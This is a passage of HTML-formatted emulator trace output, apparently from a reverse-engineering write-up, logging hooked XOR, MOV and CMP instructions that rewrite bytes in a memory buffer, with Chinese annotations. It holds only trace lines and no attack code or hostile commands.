class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f33 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f34]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f34 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f35]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f35 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f36]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f36 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f3e]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3e ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f3f]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3f ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f40]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f40 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f41]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f41 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f42]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f42 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f43]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f43 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f44]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f44 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f45]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f45 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f46]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f46 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f47]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f47 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000cea]</span> MEM<span class="selector-attr">[0x2003f48]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f48 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x17</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x0100073c: mov esi, <span class="number">0</span>x11</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x01000756: cmp esi, <span class="number">0</span>x23</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1000750]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x01 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000994: mov esi, <span class="number">0</span>x4</span><br><span class="line"><span class="selector-attr">[XOR @0x10009a8]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x010009ae: cmp esi, <span class="number">0</span>x9</span><br><span class="line"><span class="selector-attr">[XOR @0x10009a8]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x10009a8]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x10009a8]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x10009a8]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[STATE]</span> ESI ← <span class="number">0</span>x52</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01001625: mov esi, <span class="number">0</span>x15</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f20]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f20 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[HOOK CMP]</span> @<span class="number">0</span>x0100163f: cmp esi, <span class="number">0</span>x2b</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f21]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f21 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f22]</span> <span class="number">0</span>x03 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f22 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f23]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f23 ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f24]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f24 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f25]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f25 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f26]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f26 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f27]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f27 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f28]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f28 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f29]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x33) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f29 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f2a]</span> <span class="number">0</span>x00 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2a ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f2b]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2b ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f2c]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2c ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f2d]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x02</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2d ← <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f2e]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2e ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f2f]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f2f ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f30]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x30) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f30 ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f31]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x31</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f31 ← <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f32]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x00</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f32 ← <span class="number">0</span>x00</span><br><span class="line"><span class="selector-attr">[XOR @0x1001639]</span> MEM<span class="selector-attr">[0x2003f33]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x02) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span 